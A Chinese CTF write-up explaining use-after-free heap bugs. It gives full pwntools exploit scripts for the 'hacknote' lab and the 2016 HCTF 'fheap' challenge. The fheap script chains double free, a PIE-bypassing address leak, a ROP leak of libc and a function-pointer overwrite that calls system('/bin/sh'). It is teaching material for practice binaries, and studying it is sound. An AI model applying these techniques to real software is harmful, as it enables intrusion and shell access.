漏洞场景:
释放内存后没有置NULL指针,而且引用时还没有验证,访问到被释放的内存.
释放内存后没有置NULL指针,当下次申请内存时又申请到这块内存,且下次访问时,堆内数据已经改变.常用于堆
里面有函数指针的情况,比如类的虚表
1.实例 lab 10 hacknote
题目分析
1.申请一个堆存放8字节的结构体,结构体第一项是函数指针,第二项是数据堆.申请大小可控
2.申请的结构体指针存放在一个全局数组中
3.删除时释放内存后没有置NULL
4.打印时调用函数指针打印第二项的数据堆,且只是用指针数组的内容不为NULL判断,因为没有置NULL,
所以可以引用释放后的内存
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./hacknote')
def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
gdb.attach(r)
magic = 0x08048986
addnote(32, "aaaa")#0
addnote(32, "ddaa")#1
delnote(0)
delnote(1)
addnote(8, p32(magic))
printnote(0)
r.interactive()
- 实例2016 HCTF fheap
题目分析
1.创建和删除2个功能,创建时分配固定大小结构体内存,第4个qword存放自定义的函数指针,如果输入
字符串大小超过15字节,则第一个qword存放该字符串堆内存的地址,否则不分配内存,直接将字符串存放
在结构体的前2个qword处.
2.创建的结构体内存地址又是另一个结构体的成员,通过结构体数组存放,且第一个dword为是否已释放
标识,第2个qword指向创建的结构体地址.删除时判断该结构体地址是否为0,而不是判断那个标识,调用
函数指针将堆上结构体释放.没有对指针清0
3.没有清0指针+判断逻辑错误导致double free和uaf双重漏洞
总结: 需要通过信息泄漏绕过pie,aslr,通过rop绕过nx,利用了fastbin attack,double free和uaf堆漏洞执行rop最终getshell.
exp:
#coding:utf-8
from pwn import *
from LibcSearcher import *
p = process('./pwn')
elf = ELF('./pwn')
def create(input_size, input_string):
print p.recvuntil('3.quit\n')
p.sendline('create ')
print p.recvuntil('size:')
p.sendline(str(input_size))
print p.recvuntil('str:')
p.sendline(input_string)
return
def delete(input_id):
print p.recvuntil('3.quit\n')
p.sendline('delete ')
print p.recvuntil('id:')
p.sendline(str(input_id))
print p.recvuntil('Are you sure?:')
p.sendline('yes')
return
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
#gdb.attach(p)
create(5, 'caf\x00')
create(5,'asd\x00')
delete(0)
delete(1)
delete(0)
payload = 'a'*8
payload += 'a'*8
payload += p8(0x20)+'b'*7
payload += '\x0b'#1 byte overwrite bypass pie,覆盖一字节去调用puts函数将该指令地址输出,通过偏移计算得到程序加载基址,绕过pie
create(len(payload),payload)
delete(1)
p.recvuntil('b'*7)
call_puts_addr = p.recvuntil('\n')[:-1]
call_puts_addr = u64(call_puts_addr.ljust(8,'\x00'))
print 'call_puts_addr: '+hex(call_puts_addr)
print 'imagebase: '+hex(call_puts_addr-0xd0b)
imagebase = call_puts_addr-0xd0b #调用puts函数指令偏移
puts_plt_addr = imagebase + puts_plt
delete(0)
#gdb.attach(p)
payload = 'a'*8
payload += 'a'*8
payload += p8(0x20)+'b'*7
payload += p64(0x00000000000011cc+imagebase)#0x00000000000011cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret, 让指令到栈里面指向rop指令
create(0x20,payload)
print p.recvuntil('3.quit\n')
p.sendline('delete ')
print p.recvuntil('id:')
p.sendline(str(1))
print p.recvuntil('Are you sure?:')
payload2 = 'yes\x00aaaa'
payload2 += p64(0x00000000000011d3+imagebase)#0x00000000000011d3 : pop rdi ; ret
payload2 += p64(imagebase+puts_got)
payload2 += p64(puts_plt_addr)#将puts_got内容打印出来
payload2 += p64(0xBC9+imagebase)#ret to main,再次执行main函数
p.sendline(payload2)
puts_addr = p.recvuntil('\n')[:-1]
puts_addr = puts_addr.ljust(8,'\x00')
puts_addr = u64(puts_addr)
print 'puts_addr:'+hex(puts_addr)
libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
print 'libcbase: '+hex(libcbase)
system_func = libcbase+libc.dump('system')
print 'system addr: '+hex(system_func)
delete(0)
#gdb.attach(p)
payload = '/bin/sh;'
payload += 'a'*8
payload += p8(0x20)+'b'*7
payload += p64(system_func)#再次覆盖函数指针
create(0x20,payload)
delete(1)#触发system函数调用
p.interactive()
网友评论